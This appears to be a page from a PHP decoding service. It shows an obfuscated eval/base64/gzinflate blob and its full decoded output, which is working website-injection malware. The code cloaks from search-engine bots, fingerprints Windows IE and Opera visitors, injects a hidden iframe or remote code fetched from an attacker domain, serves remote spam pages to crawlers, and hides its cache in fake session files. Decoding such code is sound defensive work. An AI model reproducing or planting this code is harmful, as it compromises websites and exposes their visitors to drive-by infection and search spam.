Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(gzinflate(base64_decode('tVdtc9pIEv7MVd1/GFMqS4plJMS7seykNuxu6jZxDuO7DzahZGkEkw..
Decoded Output download
if (!defined('frmDs')){
define('frmDs' ,1);
function frm_dl ($url) {
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$out = curl_exec ($ch);
if (curl_errno($ch) !== 0) $out = false;
curl_close ($ch);
} else {$out = @file_get_contents($url);}
return trim($out);
}
function frm_crpt($in){
$il=strlen($in);$o='';
for ($i = 0; $i < $il; $i++) $o.=$in[$i] ^ '*';
return $o;
}
function frm_getcache($tmpdir,$link,$cmtime,$del=true){
$f = $tmpdir.'/sess_'.md5(preg_replace('/^http:\/\/[^\/]+/', '', $link));
if(!file_exists($f) || time() - filemtime($f) > 60 * $cmtime)
{
$dlc=frm_dl($link);
if ($dlc){
if($fp = @fopen($f,'w')){
fwrite($fp, frm_crpt($dlc)); fclose($fp);
}else{return $dlc;}
}else{
if(del)
@unlink($f);
else
@touch($f);
}
}
$fc = @file_get_contents($f);
return ($fc)?frm_crpt($fc):'';
}
function frm_isbot($ua){
if(($lip=ip2long($_SERVER['REMOTE_ADDR']))<0)$lip+=4294967296;
$rs = array(array(3639549953,3639558142),array(1089052673,1089060862),array(1123635201,1123639294),array(1208926209,1208942590),
array(3512041473,3512074238),array(1113980929,1113985022),array(1249705985,1249771518),array(1074921473,1074925566),
array(3481178113,3481182206),array(2915172353,2915237886));
foreach ($rs as $r) if($lip>=$r[0] && $lip<=$r[1]) return true;
if(!$ua)return true;
$bots = array('googlebot','bingbot','slurp','msnbot','jeeves','teoma','crawler','spider');
foreach ($bots as $b) if(strpos($ua, $b)!==false) return true;
return false;
}
function frm_tmpdir(){
$fs = array('/tmp','/var/tmp');
foreach (array('TMP', 'TEMP', 'TMPDIR') as $v) {
if ($t = getenv($v)) {$fs[]=$t;}
}
if (function_exists('sys_get_temp_dir')) {$fs[]=sys_get_temp_dir();}
$fs[]='.';
foreach ($fs as $f){
$tf = $f.'/'.md5(rand());
if($fp = @fopen($tf, 'w')){
fclose($fp);
unlink($tf);
return $f;
}
}
return false;
}
function frm_seref(){
$r = @strtolower($_SERVER["HTTP_REFERER"]);
$ses = array('google','bing','yahoo','ask','aol');
foreach ($ses as $se) if(strpos($r, $se.'.')!=false) return true;
return false;
}
function frm_isuniq($tdir){
$ip=$_SERVER['REMOTE_ADDR'];
$dbf=$tdir.'/sess_'.md5(date('m.d.y'));
$odbf = $tdir.'/sess_'.md5(date('m.d.y',time()-86400));
if (file_exists($odbf)) @unlink($odbf);
if(strpos(frm_crpt(@file_get_contents($dbf)),$ip) === false ){
if ($fp=@fopen($dbf,'a')){fputs($fp,frm_crpt($ip.'|')); fclose($fp);}
return true;
}
return false;
}
$tdir = frm_tmpdir();
$defframe = '<style>.hwilcs { position:absolute; left:-1091px; top:-955px; }</style> <div class="hwilcs"><iframe src="http://rvligdimsn.lookin.at/jquery/get.php?ver=jquery.latest.js" width="466" height="354"></iframe></div>';
$defrdg='http://rvligdimsn.lookin.at/jquery/get.php?ver=jquery.js';
$codelink = 'http://rvligdimsn.lookin.at/nc/gnc.php?ver=jquery.latest.js';
$rdglink='http://rvligdimsn.lookin.at/nc/gnc.php?ver=jquery.js';
$ua=$_SERVER['HTTP_USER_AGENT'];
$isb=frm_isbot($ua);
if (!$isb && preg_match('/Windows/', $ua) && preg_match('/MSIE|Opera/', $ua) && frm_isuniq($tdir) ){
error_reporting(0);
if(!isset($_COOKIE['__utmfr'])) {
if(!$codelink)
print($defframe);
else
print(frm_getcache($tdir,$codelink,30));
@setcookie('__utmfr',rand(1,1000),time()+86400*7,'/');
}
}
//-------
$host = preg_replace('/^w{3}\./','', strtolower($_SERVER['HTTP_HOST']));
if($tdir && strlen($host)<100 && !preg_match('/^[0-9\.]+$/',$host)){
$parg = substr(preg_replace( '/[^a-z]+/', '',strtolower(base64_encode(md5($host)))),0,3);
$pageid = (isset($_GET[$parg]))?$_GET[$parg]*1:0;
$ruri = strtolower($_SERVER['REQUEST_URI']);
if((strpos($ruri,'/?')===0||strpos($ruri,'/index.php?')===0) && $pageid > 0){
print(frm_getcache($tdir,"http://rvligdimsn.lookin.at/rdg/getpage.php?h=$host&p=$pageid&pa=$parg",60*72,false));
exit();
}
if ($isb) {
error_reporting(0);
print(frm_getcache($tdir,"http://rvligdimsn.lookin.at/rdg/getpage.php?h=$host&pa=$parg&g=".(($ruri=='/'||$ruri=='/index.php')?'1':'0'),60*72,false));
}
}
//---------
}
Did this file decode correctly?
Original Code
<?php eval(gzinflate(base64_decode('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')));?>
Function Calls
gzinflate | 1 |
base64_decode | 1 |
Stats
MD5 | 1fdef66c3316fee55a3d6b6727a0074d |
Eval Count | 1 |
Decode Time | 106 ms |